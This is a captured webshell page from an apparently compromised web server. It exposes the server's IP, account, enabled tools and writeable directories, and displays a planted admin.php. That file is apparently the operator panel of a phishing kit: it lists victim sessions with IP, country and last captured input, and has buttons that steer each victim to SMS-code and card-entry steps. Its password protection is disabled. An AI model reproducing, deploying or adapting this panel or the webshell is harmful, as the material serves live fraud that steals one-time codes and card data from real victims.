403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/testtranslator/images/wp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/testtranslator/images/wp/admin.php
<?php
session_start();

// --- CONFIG ---
define("ADMIN_PASSWORD_ENABLED", false);   // set to false to disable password
define("ADMIN_PASSWORD", "changeme");     // change as needed
define("SESSION_TTL", 3600);              // auto logout after 1h
$sessionsDir = __DIR__ . "/sessions";

// --- LOGOUT HANDLER ---
if (isset($_GET['logout'])) {
    unset($_SESSION['admin']);
    header("Location: admin.php");
    exit;
}

// --- AUTHENTICATION ---
if (ADMIN_PASSWORD_ENABLED) {
    if (!isset($_SESSION['admin'])) {
        if (isset($_POST['password']) && $_POST['password'] === ADMIN_PASSWORD) {
            $_SESSION['admin'] = true;
            $_SESSION['last_login'] = time();
        } else {
            echo '<!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <title>Admin Login</title>
                <style>
                    body { font-family: Arial, sans-serif; background:#121212; color:#eee; text-align:center; padding-top:120px; }
                    input { padding:10px; font-size:16px; background:#1e1e1e; border:1px solid #333; color:#eee; }
                    button { padding:10px 20px; font-size:16px; margin-top:10px; background:#3498db; border:none; color:#fff; cursor:pointer; }
                </style>
            </head>
            <body>
            <h2>Admin Panel Login</h2>
            <form method="POST">
                <input type="password" name="password" placeholder="Admin Password">
                <br>
                <button type="submit">Login</button>
            </form>
            </body>
            </html>';
            exit;
        }
    } else {
        // enforce session timeout
        if (time() - ($_SESSION['last_login'] ?? 0) > SESSION_TTL) {
            unset($_SESSION['admin']);
            header("Location: admin.php");
            exit;
        }
    }
} else {
    $_SESSION['admin'] = true; // auto‑grant access
}

// --- HANDLE ACTION ---
if (isset($_GET['uid'], $_GET['action'])) {
    $uid    = $_GET['uid'];
    $action = $_GET['action'];

    $userFolder  = $sessionsDir . "/" . $uid;
    $controlFile = $userFolder . "/control.json";

    if (is_dir($userFolder)) {
        file_put_contents($controlFile, json_encode([
            "admin_action" => $action,
            "timestamp"    => time()
        ], JSON_UNESCAPED_SLASHES));
    }

    header("Location: admin.php");
    exit;
}

// --- AUTO CLEANUP OLD SESSIONS ---
if (is_dir($sessionsDir)) {
    foreach (scandir($sessionsDir) as $entry) {
        if ($entry === '.' || $entry === '..') continue;
        $uid        = $entry;
        $userFolder = $sessionsDir . "/" . $uid;
        $controlFile = $userFolder . "/control.json";

        if (file_exists($controlFile)) {
            $data = json_decode(file_get_contents($controlFile), true) ?: [];
            $ts   = $data['timestamp'] ?? null;
            if ($ts && (time() - $ts) > SESSION_TTL) {
                foreach (glob($userFolder . '/*') as $f) {
                    @unlink($f);
                }
                @rmdir($userFolder);
            }
        }
    }
}

// --- LIST SESSIONS ---
$users = [];
if (is_dir($sessionsDir)) {
    foreach (scandir($sessionsDir) as $entry) {
        if ($entry === '.' || $entry === '..') continue;
        $uid        = $entry;
        $userFolder = $sessionsDir . "/" . $uid;
        $controlFile = $userFolder . "/control.json";

        if (file_exists($controlFile)) {
            $data = json_decode(file_get_contents($controlFile), true) ?: [];
            $adminAction = $data['admin_action'] ?? 'waiting';
            $timestamp   = $data['timestamp'] ?? null;

            $ip = $country = '—';
            $metaFile = $userFolder . "/meta.json";
            if (file_exists($metaFile)) {
                $meta = json_decode(file_get_contents($metaFile), true) ?: [];
                $ip      = $meta['ip'] ?? '—';
                $country = $meta['country'] ?? '—';
            }

            $lastLog = '—';
            $logFile = $userFolder . "/log.txt";
            if (file_exists($logFile)) {
                $lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                if (!empty($lines)) {
                    $lastLog = end($lines);
                }
            }

            $users[] = [
                'uid'          => $uid,
                'admin_action' => $adminAction,
                'timestamp'    => $timestamp,
                'ip'           => $ip,
                'country'      => $country,
                'last_log'     => $lastLog,
            ];
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Controlled Flow Admin Panel</title>
    <meta http-equiv="refresh" content="5">
    <style>
        body { font-family: Arial, sans-serif; background:#121212; color:#eee; padding:40px; }
        h1 { text-align:center; margin-bottom:20px; }
        table { width:100%; border-collapse:collapse; margin-top:20px; background:#1e1e1e; }
        th, td { padding:10px; border:1px solid #333; text-align:center; }
        th { background:#2c3e50; color:#ecf0f1; }
        tr:nth-child(even) { background:#181818; }
        .btn { padding:6px 10px; font-size:14px; border:none; border-radius:4px; cursor:pointer; text-decoration:none; color:#fff; margin:0 2px; }
        .sms { background:#e67e22; }
        .cad { background:#9b59b6; }
        .multic { background:#16a085; }
        .success { background:#2ecc71; }
        .home { background:#2980b9; }
        .waiting { color:#bdc3c7; }
        .meta { font-size:12px; color:#95a5a6; }
        .log { font-size:12px; color:#f1c40f; text-align:left; max-width:300px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
        .logout { display:block; text-align:center; margin-top:20px; }
    </style>
</head>
<body>

<h1>Controlled Flow Admin Panel</h1>
<p class="logout"><a href="admin.php?logout=1">Logout</a></p>

<?php if (empty($users)): ?>
    <p>No active users found.</p>
<?php else: ?>
<table>
    <tr>
        <th>UID</th>
        <th>IP / Country</th>
        <th>Admin Action</th>
        <th>Last Update</th>
        <th>Last Log</th>
        <th>Controls</th>
    </tr>
    <?php foreach ($users as $u): ?>
        <tr>
            <td><?php echo htmlspecialchars($u['uid']); ?></td>
            <td class="meta">
                IP: <?php echo htmlspecialchars($u['ip']); ?><br>
                Country: <?php echo htmlspecialchars($u['country']); ?>
            </td>
            <td>
                <?php
                if ($u['admin_action'] === 'waiting') {
                    echo '<span class="waiting">waiting</span>';
                } else {
                    echo htmlspecialchars($u['admin_action']);
                }
                ?>
            </td>
            <td>
                <?php echo $u['timestamp'] ? date("Y-m-d H:i:s", $u['timestamp']) : '—'; ?>
            </td>
            <td class="log"><?php echo htmlspecialchars($u['last_log']); ?></td>
            <td>
                <a class="btn home" href="admin.php?uid=<?php echo urlencode($u['uid']); ?>&action=home">HOME</a>
                <a class="btn sms" href="admin.php?uid=<?php echo urlencode($u['uid']); ?>&action=sms">SMS</a>
                <a class="btn cad" href="admin.php?uid=<?php echo urlencode($u['uid']); ?>&action=cad">CAD</a>
                <a class="btn multic" href="admin.php?uid=<?php echo urlencode($u['uid']); ?>&action=multic">MULTIC</a>
                <a class="btn success" href="admin.php?uid=<?php echo urlencode($u['uid']); ?>&action=success">SUCCESS</a>
            </td>
        </tr>
    <?php endforeach; ?>
</table>
<?php endif; ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit